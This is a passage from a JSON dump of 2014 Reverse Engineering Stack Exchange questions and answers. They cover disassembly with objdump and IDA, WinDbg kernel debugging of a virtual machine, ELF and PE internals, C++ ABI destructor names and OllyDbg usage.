the disassembly/call stack that lead to it, should give you an idea where the NULL pointer was read from the old array, so you know which instruction to change to point to the new one.</p>\n"
    },
    {
        "Id": "4288",
        "CreationDate": "2014-05-08T02:40:49.520",
        "Body": "<p>So basically I am using <code>objdump</code> to disassemble a binary from `GNU Coreutils\", on 32 bit Linux x86.</p>\n\n<p>In the disassembled code, I found one \"broken\" instruction like this:</p>\n\n<pre><code> 804bb49:   8d 04 ed 00 00 00 00    lea    0x0(,%ebp,8),%eax\n</code></pre>\n\n<p>I asked a related question about a very similar instruction <a href=\"https://reverseengineering.stackexchange.com/questions/4285/how-to-deal-with-this-error-instructions-generated-by-objdump\">here</a>, in that question, I think it should be a jump table related instruction, but how about this one ? I am quite confused..</p>\n\n<p>Could anyone give me some help?</p>\n",
        "Title": "How to deal with this \u201clea\u201d instructions generated by objdump?",
        "Tags": "|disassembly|assembly|objdump|",
        "Answer": "<p>what does broken mean </p>\n\n<p>the instruction in either this post or in your earlier post do not seem to be broken </p>\n\n<p>if you are confused with AT&amp;T syntax then you can ask objdump to disassemble in intel syntax</p>\n\n<p>a better explanation of broken can get a better answer </p>\n\n<pre><code>root@box:/home/dsl/gcctests/test# cat testjt.c \nvoid naked (void)\n{\n        asm( \".globl _naked\\n\");\n        asm( \"_naked:\\n\");\n        asm( \"jmp *0x80509e4(,%eax,4)\");\n        asm( \"lea 0x0(,%ebp,8),%eax\");\n        asm( \"ret\");\n}\nint main (void)\n{\n        naked();\n        return 0;\n}\n\n\nroot@box:/home/dsl/gcctests/test# objdump -t ./testjt | grep _naked\n08048357 g       .text  00000000              _naked\n\n\nroot@box:/home/dsl/gcctests/test# objdump -d --disassembler-option=intel  ./testjt | grep -A 2 _naked\n\n\n08048357 &lt;_naked&gt;:\n 8048357:       ff 24 85 e4 09 05 08    jmp    DWORD PTR [eax*4+134547940]\n 804835e:       8d 04 ed 00 00 00 00    lea    eax,[ebp*8]\n\n\nroot@box:/home/dsl/gcctests/test#  \n</code></pre>\n"
    },
    {
        "Id": "4298",
        "CreationDate": "2014-05-09T00:32:46.323",
        "Body": "<p>I am trying to connect to a Windows XP Professional Virtual Machine running under Microsoft Virtual PC for debugging purposes.\nI was following the <a href=\"http://msdn.microsoft.com/en-us/library/windows/hardware/ff538143%28v=vs.85%29.aspx\" rel=\"nofollow\">MSDN kernel mode debugging article</a>, however bcdedit command was not being recognized on the guest machine so I added the following entry in the boot.ini file under C:\\ drive</p>\n\n<pre><code>multi(0)disk(0)rdisk(0)partition(1)\\WINDOWS=\"KD\" /fastdetect /debug /debugport=2 /baudrate=115200\n</code></pre>\n\n<p>I configured the com2 port to a named pipe (\\\\.\\pipe\\pipe2)</p>\n\n<p>I enter the following command at the command prompt and turned on the virtual machine</p>\n\n<pre><code>windbg -k com:pipe,port=\\\\.\\pipe\\Pipe2,resets=0,reconnect\n</code></pre>\n\n<p>and I get the following output</p>\n\n<pre><code>Microsoft (R) Windows Debugger Version 6.12.0002.633 X86\nCopyright (c) Microsoft Corporation. All rights reserved.\n\nWaiting for pipe \\\\.\\pipe\\pipe2\nWaiting to reconnect...\nConnected to Windows XP 2600 x86 compatible target at (Fri May  9 05:34:23.920 2014 (UTC + 5:30)), ptr64 FALSE\nKernel Debugger connection established.\nSymbol search path is: C:\\Windows\\Symbols;srv*C:\\Windows\\Symbols*http://msdl.microsoft.com/download/symbols\nExecutable search path is: \nWindows XP Kernel Version 2600 UP Free x86 compatible\nBuilt by: 2600.xpsp_sp3_qfe.100216-1510\nMachine Name:\nKernel base = 0x804d7000 PsLoadedModuleList = 0x8055b1c0\nSystem Uptime: not available\n56: ERROR: UMRxReadDWORDFromTheRegistry/ZwQueryValueKey: NtStatus = c0000034\nERROR: DavReadRegistryValues/RegQueryValueExW(4). WStatus = 127\nERROR: DavReadRegistryValues/RegQueryValueExW(5). WStatus = 127\nERROR: DavReadRegistryValues/RegQueryValueExW(6). WStatus = 127\n</code></pre>\n\n<p>The status bar at the bottom says 'Debugee not connected'</p>\n\n<p>Am I missing something?</p>\n",
        "Title": "Debugging Virtual Machine using Windbg",
        "Tags": "|debuggers|debugging|windbg|virtual-machines|",
        "Answer": "<p>that is normal for virtual pc to say debugee not connected  as it has not<br>\nconnectedto the target yet it has just established a transport</p>\n\n<p>press <code>ctrl+break</code> once to connect and press <code>g</code> to resume running.</p>\n\n<p>As Jason suggested get the <code>free vmware player</code> and configure <code>virtualkd</code> for a much<br>\nfaster debugging com port is too slow for many things especially conditinal log breaks<br>\nwill stall the debugger for minutes together.</p>\n"
    },
    {
        "Id": "4306",
        "CreationDate": "2014-05-10T16:24:59.647",
        "Body": "<p>So basically I am trying to re-use some assembly code/data dumped by <code>objdump</code> from 32 bit ELF binary on Linux.</p>\n\n<p>So basically, in the disassembled binary, I found some symbol referring to <code>.bss</code> section like this:</p>\n\n<pre><code> 80486b7:   mov    0x804b264,%eax   &lt;- 0x804b264 is an addr in .bss\n 80486bc:   movl   $0x0,0x4(%esp)\n 80486c3:\n 80486c4:   mov    %eax,(%esp)\n 80486c7:   call   804876c &lt;sum&gt;\n</code></pre>\n\n<p>By digging into the original source code, I find out that <code>0x804b264</code> is used for <code>stdin</code> in <code>.bss</code> section.</p>\n\n<p>IMHO, there are basically two situations on <code>.bss</code> section's data:</p>\n\n<ol>\n<li><p>uninitialized data, will be uninitialized in the source code</p></li>\n<li><p>some global/system related data (such as <strong>stdin</strong> in the above situation)</p></li>\n</ol>\n\n<p>So when trying to re-use <code>.bss</code> section's data, I have tried this way:</p>\n\n<pre><code>.section .bss\nS_0x804B260 : .byte 0x00\n           .byte 0x00\n           .byte 0x00\n          .byte 0x00\nS_0x804B264 : .byte 0x00          &lt;- I lift addr into symbol!\n          .byte 0x00\n         .byte 0x00\n         .byte 0x00\n         .byte 0x00\n</code></pre>\n\n<p>and in the <code>.text</code> section, I will also lift corresponding addr into symbol.</p>\n\n<p><strong>same situation works fine for <code>.rodata</code> and <code>.data</code> section</strong></p>\n\n<p>But the problem is that, there are some global variables (such as <strong>stdin</strong> <strong>stdout</strong>), locating in <code>.bss</code> section, while are not initialized by <strong>user defined code</strong>, which means that in my re-used asm code, this symbol variable will always be <strong>zero</strong>!</p>\n\n<p>I tried to manually substitute symbols corresponding to <strong>stdin</strong>, and it seems that it works fine.</p>\n\n<p>But the problem is that:</p>\n\n<ol>\n<li><p>How can I identify which symbol in the <code>.bss</code> section is some variables that initialized by system? such as <strong>stdin</strong>, <em>stdout*</em> and others?</p></li>\n<li><p>If it is not possible, then is there anyway that I can enforce system to use memory in the <code>.bss</code> section where I want it to use?</p></li>\n</ol>\n\n<p>Am I clear? Could anyone give me some help?</p>\n",
        "Title": "How to reuse symbol/data defined in .bss section?",
        "Tags": "|disassembly|assembly|elf|reassembly|",
        "Answer": "<p>I'm afraid you're not too clear when you talk about \"reusing\" some part of a program. What exactly do you want to do? Load the original program into a debugger, then call just one single function of it? Extract a ranged of addresses and turn that into a new program? Or extract one function from the original program, possibly together with everything the function depends on, then embed that function into a larger program?</p>\n\n<p>You're wrong in one thing: the .bss section is NOT initialized at all at program start (at least not to anything but a load of <code>\\0</code> bytes). The initialization of stuff like <code>stdout</code> is done in runtime before main() starts. Stuff that gets initialized with constant data goes into the .data segment.</p>\n\n<p>(On a side note: One of the reasons why the stdout FILE structure isn't put into .data and initialized as constants is most runtimes on unix-like systems will check if their file descriptor goes to a terminal or something else, and turn on/off buffering depending on that check).</p>\n\n<p>When you extract a part of the code, you'll have to check each reference to .data AND .bss (and to .text - the code - as well if the extracted part depends on any libraries etc.). For each of those references, you'll have to decide what to do with them - share them with the new program, keep them for the functions you extracted, whatever.</p>\n\n<p>If you're lucky, and have an unstripped executable, you can use <code>nm</code> to find out which symbol is where; if you're not that lucky, you'll have to disassemble/decompile everything, understand it, rewrite it into new source, and compile it together with whatever you want to embed it in.</p>\n"
    },
    {
        "Id": "4315",
        "CreationDate": "2014-05-12T13:51:20.780",
        "Body": "<p>I have been involved in disassembling Android apps using <a href=\"https://code.google.com/p/smali/\" rel=\"noreferrer\">baksmali</a> and dexpler. Whenever I disassemble an app, I find the packages and package hierarchy (that would have been available in development scenario) intact. For instance, when I disassemble a task manager app (MD5: 3377f8527479ab4e72bf9fa5eec62abe), I get the package hierarchy as shown in the figure below.<img src=\"https://i.stack.imgur.com/Zrhkg.png\" alt=\"enter image description here\">. </p>\n\n<p>In this context, I have the following questions,</p>\n\n<ol>\n<li>Will this hierarchy of Java packages be preserved and retained while building apps. When we develop apps, of course, we use many packages and we put them in a hierarchy while we build the app. But, all the code written by developers will be converted into a single classes.dex file. Will the packages and package hierarchy information be retained in this classes.dex file or any other part of the apk file (like META-INF)? </li>\n<li>If this information is not available from .dex, where does this come from? How does every disassembling/ decompiling tool manages to extract this package hierarchy?</li>\n<li>Where to find documentation/ literature relevant to packages and package hierarchy in the app building process? I tried skimming thro' Android documentation in vain.</li>\n</ol>\n",
        "Title": "How do Android reverse engineering tools extract packages/ package hierarchy present in Android apps?",
        "Tags": "|disassembly|decompilation|static-analysis|android|",
        "Answer": "<p>The fast answer is that in Java, the <em>fully qualified name of the class</em> is the <em>actual</em> name of the class concatenated with its package.  To the classloader, <code>com.foo.Annamalai</code> is the name it will load at runtime.  This is also, subsequently why you can't have two classes of the same name <em>in the same package.</em>  </p>\n\n<p>This will be a (semi) contrived instance, but lets pretend your app has two different logging frameworks, and you need to support both.  </p>\n\n<pre><code>import java.util.logging.Logger;\nimport org.apache.log4j.Logger;\n</code></pre>\n\n<p>If you try this, your compiler should barf, complaining that you have two classes with the same name.  Well, this version will work:</p>\n\n<pre><code>org.apache.log4j.Logger logger4j = org.apache.log4j.Logger.getLogger(DeleteMe.class);\njava.util.logging.Logger loggingLogger = java.util.logging.Logger.getLogger(DeleteMe.class.getName());\n</code></pre>\n\n<p>Because of this package/class naming convention, it is trivial to extract the file structure of the application for reverse-engineering purposes, because in java the package name is specified to correlate to a file structure.  </p>\n\n<p>In a comment you asked about NOT using a package, well, if you did that then you would NEVER be able to use two classes of the same name--the compiler would never allow it.  </p>\n\n<p>The above example would turn into this:</p>\n\n<pre><code>Logger logger4j = Logger.getLogger(DeleteMe.class.getName());\nLogger loggingLogger = Logger.getLogger(DeleteMe.class.getName());\n</code></pre>\n\n<p>Which <code>Logger</code> is the compiler going to pick if you have two on the classpath without package names?  </p>\n"
    },
    {
        "Id": "4323",
        "CreationDate": "2014-05-13T07:50:41.487",
        "Body": "<p>The beginning of the virtual function table (VFT, also virtual method table, VMT) disasembled by IDA goes as:</p>\n\n<pre><code> _ZTV13QSystemLocale DCD 0, _ZTI13QSystemLocale, _ZN13QSystemLocaleD2Ev+1, _ZN13QSystemLocaleD0Ev+1\n</code></pre>\n\n<p>and <code>c++filt</code> decodes it as</p>\n\n<pre><code> vtable for QSystemLocale DCD 0, typeinfo for QSystemLocale, QSystemLocale::~QSystemLocale()+1, QSystemLocale::~QSystemLocale()+1\n</code></pre>\n\n<p>Here we see <code>_ZN13QSystemLocaleD2Ev</code> and <code>_ZN13QSystemLocaleD0Ev</code>, both transformed by <code>c++filt</code> to <code>QSystemLocale::~QSystemLocale()</code>.</p>\n\n<p>(+1 is normal, the bit selects the right instruction set on ARM).</p>\n\n<p>The Qt source declares:</p>\n\n<pre><code>virtual ~QSystemLocale();\n</code></pre>\n\n<p><strong><em>Why there are two virtual destructors?</em></strong></p>\n\n<p>(I work with ARM, Android NDK (gcc/g++), C++, Qt).</p>\n",
        "Title": "Why two virtual destructors?",
        "Tags": "|c++|android|arm|virtual-functions|",
        "Answer": "<p>According to <a href=\"http://www.swag.uwaterloo.ca/acd/docs/ItaniumC++ABI.htm#mangling\">documentation</a> the first one is base object destructor and the second one is deleting destructor. </p>\n\n<pre><code>Constructors and destructors are simply special cases of &lt;unqualified-name&gt;, where the final &lt;unqualified-name&gt; of a nested name is replaced by one of the following:\n\n\n  &lt;ctor-dtor-name&gt; ::= C1   # complete object constructor\n           ::= C2   # base object constructor\n           ::= C3   # complete object allocating constructor\n           ::= D0   # deleting destructor\n           ::= D1   # complete object destructor\n           ::= D2   # base object destructor\n</code></pre>\n\n<p>According to <a href=\"http://infocenter.arm.com/help/topic/com.arm.doc.ihi0041d/IHI0041D_cppabi.pdf\">ARM IHI 0041D</a> document the difference between these destructors is as follows:</p>\n\n<pre><code>This ABI requires C1 and C2 constructors to return this (instead of being void functions) so that a C3 constructor\ncan tail call the C1 constructor and the C1 constructor can tail call C2.\nSimilarly, we require D2 and D1 to return this so that D0 need not save and restore this and D1 can tail call D2 (if\nthere are no virtual bases). D0 is still a void function.\n</code></pre>\n"
    },
    {
        "Id": "4324",
        "CreationDate": "2014-05-13T08:41:27.717",
        "Body": "<p>I write a Portable Executable (PE) library that also provides finding the starting offset of the overlay (appended data to the PE that is not mapped into memory).</p>\n\n<p>My algorithm finding the overlay offset looks like this so far:</p>\n\n<pre><code>public long getOverlayOffset() throws IOException {\n        if (offset == null) {\n            SectionTable table = data.getSectionTable();\n            offset = 0L;\n            for (SectionTableEntry section : table.getSectionEntries()) {\n                long pointerToRaw = section.get(POINTER_TO_RAW_DATA);\n                long sizeOfRaw = section.get(SIZE_OF_RAW_DATA);\n                long virtSize = section.get(VIRTUAL_SIZE);\n                //see https://code.google.com/p/corkami/wiki/PE#section_table: \"if bigger than virtual size, then virtual size is taken. \"\n                //and: \"a section can have a null VirtualSize: in this case, only the SizeOfRawData is taken into consideration. \"\n                if(virtSize != 0 &amp;&amp; sizeOfRaw &gt; virtSize) { \n                    sizeOfRaw = virtSize;\n                }\n                long endPoint = pointerToRaw + sizeOfRaw;\n                if (offset &lt; endPoint) {\n                    offset = endPoint;\n                }\n            }\n        }\n        if(offset &gt; file.length()) {\n            offset = file.length();\n        }\n        return offset;\n    }\n</code></pre>\n\n<p>I used <a href=\"https://code.google.com/p/corkami/wiki/PE#section_table\" rel=\"noreferrer\">corkami</a> as a source to get to know some of the odds in calculating the overlay offset. I do not only want it to be robust, but also accurate.\nDid I miss something? What else do I have to put into consideration?</p>\n\n<p>Note: There was a similar question here: <a href=\"https://reverseengineering.stackexchange.com/questions/2014/how-can-one-extract-the-appended-data-of-a-portable-executable\">How can one extract the appended data of a Portable Executable?</a>\nBut it doesn't cover a reliable algorithm so far. As I understand it, using a tool suffices in that question.</p>\n",
        "Title": "Reliable algorithm to extract overlay of a PE",
        "Tags": "|pe|",
        "Answer": "<p>Have you considered using Microsoft's code to do it? Reverse the loader just enough to find the pointer that you're looking for once the image is loaded, stop it from executing any actual code beyond parsing the PE. The offset to your desired pointer in ntdll or wherever will be version-specific but you'll get a super-accurate parser.</p>\n"
    },
    {
        "Id": "4336",
        "CreationDate": "2014-05-15T03:23:48.707",
        "Body": "<p>So basically when I am using <code>objdump</code> and <code>readelf</code> to disassemble some GNU Coreutils, I find a very weird situation like this: </p>\n\n<pre><code>readelf -s pr | grep bkm_scale\n\n....\n176: 08050620   118 FUNC    LOCAL  DEFAULT   13 bkm_scale\n177: 080506a0    39 FUNC    LOCAL  DEFAULT   13 bkm_scale_by_power\n181: 08050a60   173 FUNC    LOCAL  DEFAULT   13 bkm_scale\n182: 08050b10    50 FUNC    LOCAL  DEFAULT   13 bkm_scale_by_power\n</code></pre>\n\n<p>and when I disassemble <code>pr</code> using <code>objdump</code>, I do see two definition of function <code>bkm_scale</code> and <code>bkm_scale_by_power</code>, and their disassembled asm code are different.</p>\n\n<p>So does it indicate some disassemble error? If not, then why there are two <code>FUNC</code> symbols have the same name?</p>\n",
        "Title": "conflict function name using objdump to disassemble",
        "Tags": "|disassembly|objdump|reassembly|",
        "Answer": "<p>Looks like those are LOCAL definitions, perhaps defined in two places to allow slightly different versions to be used.   They're not global functions, which would be constrained to only appear (or be defined) once.</p>\n\n<p>Perhaps defined in several files, statically, so they're only used (or scoped to) in that particular file.</p>\n\n<p>I don't see those functions in the output of readelf -s, or objdump on my system's installed 'pr'.  I imagine you've compiled the coreutils yourself?</p>\n\n<p>Since you're playing with the source code of 'pr', you could grep for bkm_scale and bkm_scale_by_power to see where they're used and defined.</p>\n\n<p>Keep exploring!  Keep learning!</p>\n"
    },
    {
        "Id": "4337",
        "CreationDate": "2014-05-15T07:51:30.640",
        "Body": "<p>I'm working with IDA pro on a kernel mode function (VMware + windbg) and I'm a annoying because I can't save the workstation state. IDA crash after 3 hours when I \"quit and save memory status\".\nIs there a plugin or anything else that could make me able to save my work (variables rename, commentaries and  others) ?\nThanks for reading (and answers =)</p>\n",
        "Title": "IDA - save work on kernel mode debugging",
        "Tags": "|ida|dynamic-analysis|kernel-mode|",
        "Answer": "<p>I solved my problem with IDC files and VM snapshot =)\nI'm on IDA 6.4 and the snapshot function doesn't work in live debugging. \nMy solution is to take a snapshot of my virtual machine (on VMware workstation) to have everytime the same kernel state. When I wanna reload my work, I begin to load the virtual machine snapshot then I attach IDA to my virtual machine with windbg and finally I can load my IDC file using the script file option.</p>\n\n<p>Thank you very much for you answer, it really was helpful !</p>\n"
    },
    {
        "Id": "4339",
        "CreationDate": "2014-05-15T13:30:21.923",
        "Body": "<p>What are some good programs that can detect which protection software has been used on or in other programs and their libraries?</p>\n",
        "Title": "What program can I use to detect protections used on a program and its libraries?",
        "Tags": "|anti-debugging|packers|copy-protection|protection|",
        "Answer": "<p>I've found <a href=\"http://pid.gamecopyworld.com/\" rel=\"nofollow\">Protection ID</a> to be fast and comprehensive (last update in late 2013).</p>\n"
    },
    {
        "Id": "4345",
        "CreationDate": "2014-05-16T05:52:00.173",
        "Body": "<p>I'm wanting to have olly run a program and break when a particular memory location equals a given value. For instance, if I could have it run until the value at address 0xFB2D0024 == 0xE9, and then break immediately when that assignment occurs. Please let me know if this is possible!</p>\n\n<p>The \"conditional\" breaks I found in <a href=\"https://reverseengineering.stackexchange.com/questions/2763/how-to-set-a-conditional-breakpoint-on-specific-register-value-in-ollydbg\">here</a> did not work, or rather when I right clicked -> breakpoint -> Conditional, and then entered a condition, the program simply broke at the instruction where I right-clicked, regardless of the condition, and not when the condition occurred.</p>\n\n<p>The closest I can get is right clicking on a particular memory value (in the memory dump) -> breakpoint -> Memory, on write, but this breaks every time a change is made, and not when a specific value is set. Any help would be great! Thanks!</p>\n",
        "Title": "OllyDbg Break when memory equals value",
        "Tags": "|ollydbg|",
        "Answer": "<p>You can write script for ODbgScript plugin,</p>\n\n<p>It might look like this: </p>\n\n<pre><code>VAR pDest\nVAR Val\n\nmov pDest, FB2D0024 // dest address\nmov Val, E9 // val to look for\n\nbpwm pDest, 4 // set bp on writing DWORD (4bytes) value.\n__lbl_loop:\nerun\ncmp [pDest], Val\njne __lbl_loop\nbpmc\nLOG \"Catched ^(._.^)\"\n</code></pre>\n"
    },
    {
        "Id": "4349",
        "CreationDate": "2014-05-16T16:55:14.417",
        "Body": "<p>So basically I am working on some tripped <em>dynamic linked</em> ELF binaries (32 bit Linux x86), using <code>objdump</code> to disassemble them, modifying and trying to reassemble them.</p>\n\n<p>In the unstripped binary, we can get the beginning address of main function based on the symbol table, however, on the stripped binary, we just don't know where the main function is.</p>\n\n<p>Of course I can just adjust the whole <em>text</em> section, and starting from the original entry point of the ELF.</p>\n\n<p>But the problems are:</p>\n\n<ol>\n<li><p>There is some control transfer from the prologue/epilog of this ELF (such as <code>_start</code>; <code>__do_global_dtors_aux</code>; <code>__libc_csu_fini</code>; <code>__i686.get_pc_thunk.bx</code>; <code>__do_global_ctors_aux</code>) into the <code>.dtors</code>,<code>.ctors</code>section, which means I have to also disassemble this section.</p></li>\n<li><p>I am afraid that if I start from entry point in the re-assembled ELF, then I would probably <strong>double-init</strong> some stuff, because in my re-assembled asm code, I have the code of <code>_start</code>; <code>__do_global_dtors_aux</code>; <code>__libc_csu_fini</code> while linker will also attach these functions in the new ELF.</p></li>\n</ol>\n\n<p>So I would like to use some way to identify the <code>main</code> function in a stripped ELF (heuristically)...</p>\n\n<p>Right now I don't have some strategies on this issue, Could anyone give me some help?</p>\n",
        "Title": "Is it possible to (heuristic) identify the begin addr of main function in a stripped ELF?",
        "Tags": "|disassembly|x86|elf|reassembly|",
        "Answer": "<p>The catch is to determine whether the image in question uses a \"standard\" C runtime library of sorts (glibc, musl, uclibc) or not. If it does, then you can grab the entry point address and match the code at that address against your collection of startup routines from those libraries and pinpoint the main() location as you'd know which <code>call</code> is the one transferring control to <code>main()</code>.</p>\n\n<p>Then, the image might not be linked against any well-known C runtime, say, if it's a code piece that directly invokes kernel syscalls or if it managed to whip its own CRT library.</p>\n\n<p>Another good point would be if the program wasn't written in C at all and uses some other fancy language, but that seems to be outside the scope of the question as <code>main()</code> won't be relevant for those, I guess.</p>\n"
    },
    {
        "Id": "4353",
        "CreationDate": "2014-05-17T01:37:44.007",
        "Body": "<p>I'm wondering if there's a way to compare source code to the disassembled assembly in IDA Pro? (e.g. I compile hello.c in Linux then open the binary in IDA Pro in OS X, and would like to compare the assembly with the source so make it easier to find out what's going on). Does such a feature exist?</p>\n\n<p><strong>ADDED From Comment:</strong>\nBy the way, I forgot to mention, I am in OS-X and the binary was compiled by Lunux</p>\n",
        "Title": "How do you compare C source code with the corresponding binary's assembly in IDA Pro?",
        "Tags": "|ida|disassembly|assembly|c|disassemblers|",
        "Answer": "<p>You can compile your file with <a href=\"http://dwarfstd.org/\" rel=\"nofollow\">DWARF</a> information in it, since IDA supports it:</p>\n\n<p><img src=\"https://www.hex-rays.com/products/ida/6.4/shots/dwarf_x86.png\" alt=\"DWARF in IDA\"></p>\n"
    },
    {
        "Id": "4362",
        "CreationDate": "2014-05-18T02:57:17.370",
        "Body": "<p>How can I view the <code>XMM0</code>-<code>XMM7</code> registers within OllyDbg? I can right click on the registers window and go to <code>view MMX</code> registers, but I'm not exactly sure that these are the same. I see an instruction: <code>MOVSS DWORD PTR DS:[ESI+8],XMM0</code> and as step through that instruction, the value shown in <code>MM0</code> on the register window does not become the value stored at <code>[ESI+8]</code>.</p>\n\n<p>So, I suppose another question is: <em>Are the <code>XMM0</code> and <code>MM0</code> registers different?</em></p>\n",
        "Title": "OllyDbg and XMM0 vs MM0 registers",
        "Tags": "|ollydbg|",
        "Answer": "<p>To answer properly your question, yes. <code>xmm</code> registers were introduced by Intel with the <code>SSE</code> instruction set (IS) in 1999 with the Pentium III CPU. <code>SSE</code> stands for Streaming SIMD Extension and is a set of vector instructions. <code>xmm</code> registers are 128bit wide and can hold 4 <code>floats</code>, 2 <code>doubles</code>, or 16 <code>chars</code>. <code>SSE</code> can speed up signal processing applications (image processing, sound processing, compression, ...), encryption, and others quite dramatically when used properly. </p>\n\n<p>On the other hand, <code>mm</code> registers are part of the <code>MMX</code> IS, another vector instruction set older than <code>SSE</code> (1997 I suppose), and are 64bit wide. \nNowadays the vector instruction sets are becoming quite a <em>fashion</em> in a certain way (vector <code>CPUs</code> were the standard for supercomputers back in the 70s &amp; 80s - Cray's, ThinkingMachine's, ... computer were all vector based). In the past few years, Intel came up with many versions of <code>SSE</code> and two new IS called <code>AVX</code> &amp; <code>AVX2</code> (Advanced Vector Extension) with 256bit wide vectors implemented on SandyBridge/IvyBridge/Haswell, and <code>AVX-512</code> first implemented on the KNC (Knight's Corner) of the Xeon Phi processor &amp; co-processor line.</p>\n\n<p>I encourage you to check the Intel documentation &amp; Wikipedia for more information.   </p>\n"
    },
    {
        "Id": "4363",
        "CreationDate": "2014-05-18T03:42:50.823",
        "Body": "<p>Here is a sample function reverse engineered from an easy program:</p>\n\n<pre><code>main            proc near\nvar_70          = dword ptr -70h\nvar_6C          = dword ptr -6Ch\nvar_68          = dword ptr -68h\ni_2             = dword ptr -54h\ni               = dword ptr -4\npush    ebp\nmov     ebp, esp\nand     esp, 0FFFFFFF0h\nsub     esp, 70h\nmov     [esp+70h+i], 0\njmp     short loc_804840A\n\ufffc\ufffc\ufffcloc_80483F7:\nmov     eax, [esp+70h+i]\nmov     edx, [esp+70h+i]\nadd     edx, edx\nmov     [esp+eax*4+70h+i_2], edx\nadd     [esp+70h+i], 1\nloc_804840A:\ncmp     [esp+70h+i], 13h\njle     short loc_80483F7\nmov     [esp+70h+i], 0\njmp     short loc_8048441\nloc_804841B:\nmov    eax, [esp+70h+i]\nmov    edx, [esp+eax*4+70h+i_2]\nmov    eax, offset aADD ; \"a[%d]=%d\\n\"\nmov    [esp+70h+var_68], edx\nmov    edx, [esp+70h+i]\nmov    [esp+70h+var_6C], edx\nmov    [esp+70h+var_70], eax\ncall   _printf\nadd    [esp+70h+i], 1\nloc_8048441:\ncmp    [esp+70h+i], 13h\njle     short loc_804841B\nmov    eax, 0\nleave \nretn\nmain   endp\n\nC code\n\n#include &lt;stdio.h&gt;\nint main() {\n    int a[20];\n    int i;\n    for (i=0; i&lt;20; i++)\n        a[i]=i*2;\n    for (i=0; i&lt;20; i++)\n        printf (\"a[%d]=%d\\n\", i, a[i]);\n    return 0;\n}\n</code></pre>\n\n<p>My questions are:</p>\n\n<ol>\n<li><p>Why is memory not allocated consecutively and why are some parts of the memory in between <code>esp + 70h -54h</code> and <code>esp + 70h -68h</code> not used?</p></li>\n<li><p>In <code>sub esp, 70h</code>, the number <code>70h</code> seems to be a random number in a different program, and it is often larger than we need. Why don't the compiler just allocate what we need?</p></li>\n</ol>\n",
        "Title": "Memory allocation on the stack",
        "Tags": "|assembly|memory|stack-variables|",
        "Answer": "<p>In your case because <em>int</em> is 4 bytes and you want 20 element</p>\n\n<pre><code>int a[20] // --&gt; 20 * 4 = 0x50\n</code></pre>\n\n<p>so it is very normal for <em>i</em> and <em>i_2</em></p>\n\n<p>The other thing is that your compiler didn't push <em>printf</em> arguments into stack. It pre-allocated the stack location in </p>\n\n<pre><code>var_70 = dword ptr -70h\nvar_6C = dword ptr -6Ch\nvar_68 = dword ptr -68h\n</code></pre>\n\n<p>and called the function like this</p>\n\n<pre><code>mov    edx, [esp+eax*4+70h+i_2]\nmov    eax, offset aADD ; \"a[%d]=%d\\n\"\nmov    [esp+70h+var_68], edx\nmov    edx, [esp+70h+i]\nmov    [esp+70h+var_6C], edx\nmov    [esp+70h+var_70], eax\ncall   _printf\n</code></pre>\n\n<p>But there is 2 reason for such a thing (not your case)...</p>\n\n<ol>\n<li><p>The Compiler align the buffer for performance reasons and ease of cache.\nin addition unaligned buffers cause failure in some cases like Windows API calls and make debugging hard, so the compilers align every buffer to avoid this kind of failure.</p></li>\n<li><p>Some safe compilation allocate random number after buffers to prevent successful exploitation of buffer overruns. for example:</p>\n\n<p>and     esp, 0FFFFFFF0h</p></li>\n</ol>\n\n<hr>\n\n<p>yeap! as @DCoder commented, you asked it <a href=\"https://reverseengineering.stackexchange.com/questions/4250/why-addresses-of-variable-on-stack-are-not-consecutive\">Here</a> before.</p>\n"
    },
    {
        "Id": "4377",
        "CreationDate": "2014-05-19T18:56:12.923",
        "Body": "<p>Lets say I want to find all the</p>\n\n<pre><code>MOV EAX, 1234h\nMOV WORD PTR[EBP+ADDR], AX\n</code></pre>\n\n<p>But it won't be always <code>EAX</code> or <code>EBP+ADDR</code></p>\n\n<p>How do I wildcard search like</p>\n\n<pre><code>MOV ???, 1234h\nMOV WORD PTR[???+ADDR], ??\n</code></pre>\n\n<p>I tried</p>\n\n<pre><code>MOV ANY, 1234h\nMOV WORD PTR[ANY+ADDR], ANY\n\nMOV ?, 1234h\nMOV WORD PTR[ANY+ADDR], ?\n\nMOV r32, 1234h\nMOV WORD PTR[r32+ADDR], r16\n</code></pre>\n\n<p>None of these patterns compile in Ollydebugger how do I do this? (I would like to avoid scripts for such a easy task.</p>\n\n<p>This one below compiles and works,</p>\n\n<pre><code>MOV r32, 0x1234\n</code></pre>\n\n<p>but how do I combine it with </p>\n\n<pre><code>MOV WORD PTR[r32+ADDR], r16\n</code></pre>\n",
        "Title": "OllyDebugger How to use Find Sequence of commands with wildcard 32bit registers",
        "Tags": "|ollydbg|",
        "Answer": "<p><code>ollydbg 1.10</code> right click <code>Search For All Sequences wildcard</code> <strong>MOV R32 , CONST</strong></p>\n\n<p>result from calc.exe xp sp3 32 bit vm</p>\n\n<pre><code>Found sequences\nAddress                    Disassembly                            Comment\n01001004 &lt;&amp;ADVAPI32.RegQu  DD      ADVAPI32.RegQueryValueExA      (Initial CPU selection)\n010019E5                   MOV     EDI, OFFSET calc.ghnoParNum    01014C08=OFFSET calc.ghnoParNum\n010019EF                   MOV     EDI, OFFSET calc.ghnoPrecNum   01014C70=OFFSET calc.ghnoPrecNum\n01001A6B                   MOV     EBX, calc.010012A0             UNICODE \"intl\"\n01001D51                   MOV     ESI, 130\n01001DDF                   MOV     EAX, OFFSET calc.szBlank       01014DA4=OFFSET calc.szBlank\n01001DE6                   MOV     EAX, calc.01001264             UNICODE \" M\"\n01001F51 calc.WinMain      MOV     EAX, calc.010128EE             10128EE=calc.010128EE\n01001FED                   MOV     ESI, 400\n010020A2                   MOV     EAX, calc.010020A8             010020A8=calc.010020A8\n010020D5                   MOV     EAX, 80000000\n0100210A                   MOV     EDI, OFFSET calc.szAppName     UNICODE \"SciCalc\"\n</code></pre>\n\n<p>combined wild card </p>\n\n<p><strong>MOV WORD PTR [R32+CONST] , R16</strong></p>\n\n<pre><code>Found sequences\nAddress        Disassembly                                     Comment\n01001F6E       MOV     WORD PTR SS:[EBP-FC], BX\n01002234       MOV     WORD PTR DS:[EAX+EDX*2+14], DI\n0100230D       MOV     WORD PTR DS:[ESI+EAX*2+14], DI\n0100231C       MOV     WORD PTR DS:[ESI+EAX*2+A4], DI\n01002358       MOV     WORD PTR SS:[EBP+EDI*2-108], AX\n01002376       MOV     WORD PTR SS:[EBP+EDI*2-108], AX\n01002470       MOV     WORD PTR DS:[ECX+EAX*2+C], BX\n010024AF       MOV     WORD PTR DS:[ECX+ESI*2+C], BX\n0100251D       MOV     WORD 